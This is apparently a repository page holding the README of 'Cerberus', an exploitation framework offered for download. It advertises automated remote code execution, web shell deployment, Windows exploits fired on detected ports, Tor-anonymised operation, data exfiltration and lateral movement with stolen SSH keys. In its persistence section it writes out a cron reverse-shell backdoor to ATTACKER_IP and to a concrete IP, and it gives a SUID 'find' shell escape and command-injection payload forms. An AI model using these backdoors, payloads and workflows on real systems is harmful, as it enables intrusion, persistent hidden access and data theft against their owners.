← back to reliquary

Cerberus_pentest_exploit

4 files

README

Cerberus Banner

Overview

Cerberus is a comprehensive, intelligent security assessment framework featuring advanced RCE exploitation, real command execution, automated post-exploitation capabilities, and integrated Windows CVE exploitation. This enhanced version represents a complete evolution from previous iterations with sophisticated exploitation techniques and intelligent vulnerability assessment across multiple operating systems.

Disclaimer: This tool is for authorized security testing, educational purposes, and professional penetration testing only.


Installation

git clone https://github.com/ekomsSavior/Cerberus.git
cd Cerberus

# Install dependencies
sudo apt update && sudo apt install tor
pip install requests pysocks urllib3 readline --break-system-packages

Screenshot_2025-11-04_02_21_16


Usage

Always start tor first:

sudo systemctl start tor@default

Then run Cerberus:

sudo python3 cerberus.py

The framework operates in interactive mode, guiding you through:

  1. Target Specification: IP/hostname and port configuration
  2. Scan Type Selection: Quick scan, full assessment, or specific module execution
  3. TOR Integration: Optional anonymous operations
  4. Automated Exploitation: Intelligent vulnerability detection and exploitation across Windows and Linux targets
  5. Post-Exploitation: Interactive menu for continued access and data exfiltration

New: Windows CVE Exploitation Modules (2026)

Cerberus now features active vuln scanning & exploitation of six high-impact Windows vulnerabilities. These modules automatically detect Windows targets via SMB banner or HTTP Server headers and execute real payloads against exposed services.

CVE-2026-21510 - Windows Shell Protection Mechanism Failure

  • Vector: Crafted .url / .lnk files via WebDAV/SMB shares
  • Test: Attempts to write malicious .url file to WebDAV share
  • Success Indicator: File placement confirmation via smbclient
  • Manual Vector: UNC path lure provided for social engineering scenarios

CVE-2026-21513 - MSHTML Framework Security Feature Bypass

  • Vector: ActiveXObject instantiation in MSHTML
  • Test: Probes for ActiveXObject presence in web responses
  • Success Indicator: Detection of ActiveXObject in page content

CVE-2026-21514 - Microsoft Office Word Reliance on Untrusted Inputs

  • Vector: Remote macro execution via Office Word
  • Test: Launches winword.exe with remote template URI
  • Requirement: Prior RCE access via shell_manager
  • Success Indicator: Command execution returns no failure

CVE-2026-21519 - Windows Type Confusion Vulnerability

  • Vector: Malformed DCERPC request to port 135
  • Test: Sends crafted RPC packet to trigger type confusion
  • Success Indicator: Payload transmission confirmed

CVE-2026-21525 - Windows NULL Pointer Dereference

  • Vector: Malformed SMB2 Negotiate Protocol Request
  • Test: Sends NULL offset SMB2 packet to port 445
  • Success Indicator: Connection reset or service crash detected

CVE-2026-21533 - Windows Remote Desktop Services Elevation of Privilege

  • Vector: Crafted RDP negotiation request
  • Test: Sends malformed RDP packet to port 3389
  • Success Indicator: Payload transmission confirmed

Integration Points

  • Automatic Execution: Windows CVEs are triggered when SMB (445), RDP (3389), NetBIOS (139), or Microsoft IIS services are detected
  • Manual Execution: Post-exploitation menu option [8] "Windows CVEs (2026)" enables on-demand testing
  • Reporting: Successful exploitation logged as CRITICAL findings in assessment reports

Advanced Exploitation Modules

WebShellDeployer

  • PHP Shell Deployment: Multiple shell types (basic, advanced, obfuscated, mini, base64)
  • Deployment Methods: File upload, file write, log poisoning, template injection
  • ASP/X Shells: Windows-specific web shell deployment
  • Automated Testing: Shell functionality verification

FrameworkExploiter

  • Spring RCE: Multiple CVE exploitation including Spring4Shell
  • Laravel Exploitation: Debug mode RCE, token unserialization attacks
  • WordPress Targeting: Vulnerable plugin detection and exploitation
  • Authentication Bypass: Framework-specific credential testing

IntelligentRCEExploiter

  • Multi-Vector Attacks: JSON-RPC, REST API, command injection, deserialization
  • Template Injection: SSTI, Jinja2, Twig exploitation
  • Advanced Command Injection: Windows and Linux payload sets
  • Intelligent Detection: Success validation and response analysis

ServiceSpecificExploiter

  • Web Service Attacks: Directory traversal, file inclusion, admin panel discovery
  • FTP Exploitation: Anonymous access testing, credential brute forcing
  • SSH Analysis: Common credential testing and service enumeration
  • DNS Attacks: Zone transfer testing, recursion verification
  • SMB/RDP: Anonymous share discovery, service vulnerability assessment

Command Execution Engine

Execution Methods

  • Command Injection: ;command;, |command, command, $(command), ||command, &&command
  • PHP Code Execution: system(), exec(), shell_exec(), passthru(), backticks, base64 encoding
  • Template Injection: Jinja2, Smarty, Twig template engine exploitation
  • Deserialization Attacks: PHP, Java, Python object injection
  • SSRF Exploitation: Internal service access and command execution

Parameter Testing

Comprehensive parameter testing across:
- ip, host, cmd, command, exec, system, query, input
- data, username, password, file, path, url, page, template


Privilege Escalation Framework

SUID Binary Exploitation

  • Automated Detection: find / -perm -4000 analysis
  • Binary Exploitation: bash, dash, find, nmap, vim, less, more, awk, perl, python
  • Exploit Payloads: Context-aware exploitation commands for each binary

Sudo Misconfiguration

  • Permission Enumeration: sudo -l analysis and exploitation
  • Pattern Recognition: Automated detection of exploitable sudo configurations
  • Privilege Escalation: Root access through misconfigured sudo rights

System Analysis

  • Cron Job Examination: /etc/cron*, /var/spool/cron analysis
  • Capability Discovery: getcap -r / capability enumeration
  • Writable File Identification: System file permission analysis

20868D7B-209C-4318-B2FF-14A7E0FB83C5

Post-Exploitation Menu

Interactive Features That Work Immediately

Interactive Shell

Status: FULLY FUNCTIONAL
- Once RCE is established, you get a fully working shell interface
- Execute any system commands directly on the compromised target
- Perfect for real-time exploration and manual testing

Data Exfiltration

Status: FULLY FUNCTIONAL
- Automatically extracts and saves sensitive system files:
- /etc/passwd, /etc/hosts, /proc/version
- Network configurations and system information
- Creates timestamped reports with all extracted data
- Files saved as: exfiltrated_data_[target]_[timestamp].txt

System Intelligence Gathering

Status: FULLY FUNCTIONAL
- Live system reconnaissance:
- Kernel information: uname -a
- CPU and memory details: cat /proc/cpuinfo, free -h
- Disk usage: df -h
- Running processes: ps aux
- Current user context: whoami && id

Network Reconnaissance

Status: CONDITIONAL (Depends on target system)
- Internal network mapping:
- Network interfaces: ifconfig || ip addr
- Routing tables: route -n || ip route
- ARP tables and active connections
- Note: Requires basic networking tools on target system

Advanced Features Requiring User Action

Privilege Escalation

Detection: FULLY FUNCTIONAL | Exploitation: GUIDED
- What Works Automatically:
- Finds all SUID binaries: find / -perm -4000
- Checks sudo permissions: sudo -l
- Identifies cron jobs and capabilities
- What Requires Manual Intervention:
- When exploitable binaries are found (bash, find, nmap, vim, etc.), Cerberus provides the exploitation commands
- You must manually execute the provided exploit commands in the interactive shell
- Example: If /usr/bin/find is SUID, use: find . -exec /bin/sh \; -quit

Lateral Movement

Status: RECONNAISSANCE ONLY
- What Cerberus Provides:
- Finds potential lateral movement vectors:
- SSH keys: find /home /root -name '.ssh' -type d
- Private keys: find / -name '.pem' -o -name 'id_rsa'
- Configuration files and credentials
-
What You Need to Do:
-
Manually use discovered SSH keys or credentials
-
Set up SSH connections to other systems manually
-
Configure* tools like Metasploit or custom scripts for actual lateral movement

Persistence Mechanisms

Status: TEMPLATE-BASED
- What Cerberus Provides:
- Persistence templates and concepts:
- Cron job backdoors
- Reverse shell persistence
- Service-based backdoors
- What You Need to Do:
- Replace placeholders in persistence commands:
```bash
# CHANGE THIS: Cerberus provides template
*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# TO THIS: You manually update with your IP
*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
```
  • Manually execute persistence commands in the interactive shell
  • Verify backdoors are properly installed and working

User Workflow for Advanced Features

For Privilege Escalation:

  1. Run privilege escalation detection in Cerberus
  2. Copy the provided exploit commands
  3. Paste and execute them in the interactive shell
  4. Verify root access with whoami

For Lateral Movement:

  1. Use Cerberus to find SSH keys and credentials
  2. Manually copy discovered keys to your attacker machine
  3. Use standard tools for lateral movement:
    ```bash
    # Manual SSH with discovered key
    ssh -i discovered_key.pem user@internal_ip

# Or use in Metasploit
use auxiliary/scanner/ssh/ssh_login
set RHOSTS internal_subnet
set USERNAME discovered_user
set KEY_PATH discovered_key.pem
```

For Persistence:

  1. Get persistence templates from Cerberus
  2. Customize with your actual IP and ports
  3. Execute manually in the interactive shell
  4. Test persistence mechanisms from your machine

Windows CVE Post-Exploitation

Status: FULLY FUNCTIONAL
- Option 8 in Post-Exploitation Menu: Manually trigger all six Windows CVE checks
- Automatic Detection: Only executes against confirmed Windows targets
- Real Payloads: Actual exploitation attempts, not simulations
- Immediate Feedback: Success/failure reported for each CVE attempt
- Reporting: All successful Windows exploits logged as CRITICAL findings

Quick Reference - What Works Out of the Box

Feature Status User Action Required
Interactive Shell Full None
Data Exfiltration Full None
System Recon Full None
Network Recon Condt None (if tools exist)
Windows CVE Detection Full None
Windows CVE Exploitation Full None (automatic on port detection)
PrivEsc Detection Full None
PrivEsc Exploit Guided Manual command execution
Lateral Mvmt Full Manual exploitation
Persistence Templates Basic Full customization

Pro Tips for Maximum Effectiveness

  1. Start with the interactive shell - it's the most reliable feature
  2. Use data exfiltration first to understand the target environment
  3. For Windows targets: Cerberus automatically tests six 2026 CVEs when SMB, RDP, or IIS are detected
  4. For privilege escalation: Copy Cerberus findings and use them with tools like LinPEAS or manual exploitation
  5. For lateral movement: Combine Cerberus findings with standard penetration testing tools
  6. Always verify persistence mechanisms work before relying on them

Output and Reporting

Comprehensive Reporting

  • Text Reports: Detailed assessment findings with timestamps and evidence
  • Windows CVE Findings: All successful Windows exploits logged with CRITICAL severity
  • Structured Data: Machine-readable output for automation and analysis
  • Evidence Archives: ZIP files containing extracted sensitive data and configurations
  • Execution Logs: Complete exploitation timeline and methodology

Evidence Management

  • Automated Archiving: Structured evidence collection and preservation
  • Credential Storage: Secure password and configuration data management
  • SSH Key Repository: Extracted SSH keys and authorized_keys files
  • Sensitive Data: Protected storage of exfiltrated information

Legal and Ethical Use

Authorized Usage Only

This framework is intended exclusively for:
- Authorized penetration testing with written permission

Cerberus Security Assessment & Exploitation

Cerberus Demonstration

Cerberus Architecture

source code

viewer

select a file
// click a file to view source

license

MIT License Copyright (c) 2026 ek0mssavi0r / Church of Malware Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. USE AT YOUR OWN RISK. NO WARRANTY PROVIDED.
download .zip // inspect all source before execution